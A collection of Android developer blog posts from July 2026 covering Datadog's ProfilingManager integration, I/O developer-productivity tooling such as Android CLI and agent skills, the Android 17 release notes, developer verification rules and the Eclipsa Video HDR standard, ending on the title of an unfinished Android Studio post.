Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.

To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

An example of Datadog's time to initial display measurement with
stack sampling powered by ProfilingManager

Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.

The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices.

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

Top 3 updates for Android developer productivity

Sat, 25 Jul 2026 10:15:38 +0200

Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.

To help you stay up to date, here is a summary of the top 3 announcements for Android Developer Productivity at I/O.

1. Android CLI is now stable

Android CLI is now stable at version 1.0, with more capabilities and integrations.

The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to integrate directly with Android Studio, via the studio command.

Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to Android Studio’s unique tooling, such as performance profilers, Compose Previews, and Android Device Streaming.

Android CLI now integrates seamlessly with Android Studio

Additionally, Google Antigravity now officially supports Android development, with the Android resources bundle, which includes the Android CLI and skills.

You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.

Google Antigravity now offers the Android resources bundle

Android CLI is now available through more package managers: like npm and homebrew. For more information, check out the Android CLI blog post and official documentation.

2. Android skills keep growing

To help models gain expertise for specific development patterns that follow our best practices, we are continuing to expand our repository of Android skills, available through Android CLI and GitHub.

Android skills ground LLMs in specialized workflows and domain knowledge, for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh new batch of skills, with now more than 17 skills for areas such as:

Adaptive UI
Display Glasses and Jetpack Compose Glimmer for XR
Migration to CameraX
Perfetto SQL and Trace Analysis
Jetpack Compose Styles API
AppFunctions
Verified email retrieval with Android Credential Manager
Engage SDK integration
Testing setup
Wear OS Jetpack Compose Material3

Android skills keep growing

You can browse skills and install using the Android CLI commands:

android skills list
android skills add –skill=

For more information, check out the official documentation.

3. Android Bench adds new models

Earlier this year, we launched Android Bench - our leaderboard for testing LLMs on real-world Android development challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.

Latest results from Android Bench leaderboard

You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model Gemma 4, to the leaderboard. We also added the latest models including Gemini 3.5 Flash.

We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the Android Bench leaderboard to see the latest results.

Android development anywhere

By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re supporting Android developers wherever they choose to build.

Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.

Check out the full Developer productivity at Google I/O 2026 YouTube playlist for more information.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Android developer verification: Building a safer ecosystem together

Sat, 25 Jul 2026 10:15:33 +0200

Posted by Matthew Forsythe, Director Product Management, Android App Safety

July 15, 2026: Updated Play Console requirements for Play developers

To meet Android developer verification and updated Play Console Requirements, Play developers must register their Play apps in Play Console. While 99% of apps on Play have been registered automatically, you should check your Play Console Home page to register any remaining apps by September 30, 2026 to avoid global removal from Google Play and ensure a seamless user installation experience.

You can also use Play Console to register apps you distribute outside of Google Play to ensure they can be installed on certified Android devices.

Last year, we introduced Android developer verification to strengthen ecosystem security and stop malicious actors from hiding behind anonymity to release harmful apps. Millions of apps have been registered since the verification launched in March, covering nearly all installs on Google Play and a large majority of installs from outside of Google Play. We appreciate the feedback and partnership from industry leaders, developers, and Android communities that helped us design this experience and drive strong adoption.

Initial launch across seven stores and four countries

These new developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand.

This rollout is an industry-wide effort to create a safer ecosystem. We will begin by verifying app installations from the following stores:

Google (Google Play)
Honor (HONOR App Market)
OPlus (OPPO App Market)
Samsung (Galaxy Store)
Transsion (Palm Store)
vivo (V-Appstore)
Xiaomi (GetApps)

Following this initial phase with our partners, we will expand these protections globally for all apps on certified Android devices in 2027.

Automate your workflow with new APIs

To further streamline app registration, we are launching a suite of developer-requested APIs to help you register apps in bulk or directly through your continuous integration and deployment (CI/CD) pipelines. The Android Developer ID Status API will let you check if a package name has already been registered, and the Android Developer Console API will let you register and manage package names directly within your development environment. Both APIs also support OAuth delegation, allowing third-party platforms, like Android app stores, to perform these operations natively on your behalf.

We'll launch these APIs over the next few months.

What’s next

June 2026: Starting this month, we are rolling out a new system service that will be automatically installed on most Android devices. This service will be used later this year to verify developer registration.
July 2026: We’ll launch the Android Developer ID Status API globally and begin early access for the Android Developer Console API. Early access also starts for limited distribution accounts on Android Developer Console. This new type of Android developer account is designed for students, hobbyists, and learners and lets you share your apps to up to 20 devices without a government-issued ID or a fee.
August 2026: Limited distribution accounts and the new Android Developer Console API will launch globally. We’ll also launch an advanced flow for installing apps from unverified developers, which includes security checkpoints to resist coercion scams, while allowing power users to maintain the ability to sideload apps from unverified developers.
September 30, 2026: App registration becomes required for participating stores in Brazil, Indonesia, Singapore, and Thailand. Unregistered apps can be sideloaded with Android Debug Bridge (adb) or advanced flow.
2027 and beyond: After incorporating the feedback from our partners, users, and developer community, we’ll expand the Android verification requirement globally.

Get started with Android developer verification

If you distribute apps in Brazil, Indonesia, Singapore, or Thailand via the stores listed above, please ensure your verification is complete by the September deadline.

Google Play developers: Most Play developers are already verified, and over 99% of their apps have been registered. Go to your Play Console Home page to see your app’s verification status, and register apps you want to continue distributing that weren't automatically registered.
Developers who distribute only outside of Google Play: Sign up for the Android Developer Console today to register your apps.

Students and hobbyists: Sign up here for early access to limited distribution accounts to help us refine the feature with your feedback.

Thank you for helping us build a safer Android ecosystem. Stay tuned for more updates as we approach September and the 2027 global rollout.

Eclipsa Video: HDR That Looks Right on Every Screen

Sat, 25 Jul 2026 10:15:30 +0200

Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics

We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV.

While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.

To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open SMPTE ST 2094-50 specification, which Google developed in collaboration with Apple and NBCUniversal.

Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.

More consistency, comfort, and creative control

Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image.

Designed to scale with your hardware, Eclipsa Video provides three core benefits:

A consistent baseline: Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the HDR reference white. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.
Adaptive headroom: Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.
Preserved creative intent: Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.

Eclipsa Video preserves true highlight detail on any screen you watch.

Built natively into Android 17

Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.

Guidelines for developers & creators

We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:

Get started with implementation: Learn how to configure playback and capture in your apps with our official guide.
ExoPlayer & Media3 integration: Standard playback handling built directly into Jetpack Media3, allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.
Explore open source tools: View and inspect SMPTE ST 2094-50 metadata and dynamic gain curves in real time using HDR Explorer.

What’s next

Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.

Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.

Notes & Availability

1. Device Compatibility: Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.

2. Developer Resources: The SMPTE ST 2094-50 Specification is openly accessible for technical evaluation.

Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent

Sat, 25 Jul 2026 10:15:29 +0200

Posted by Amman Asfaw, Product Manager, Android Studio

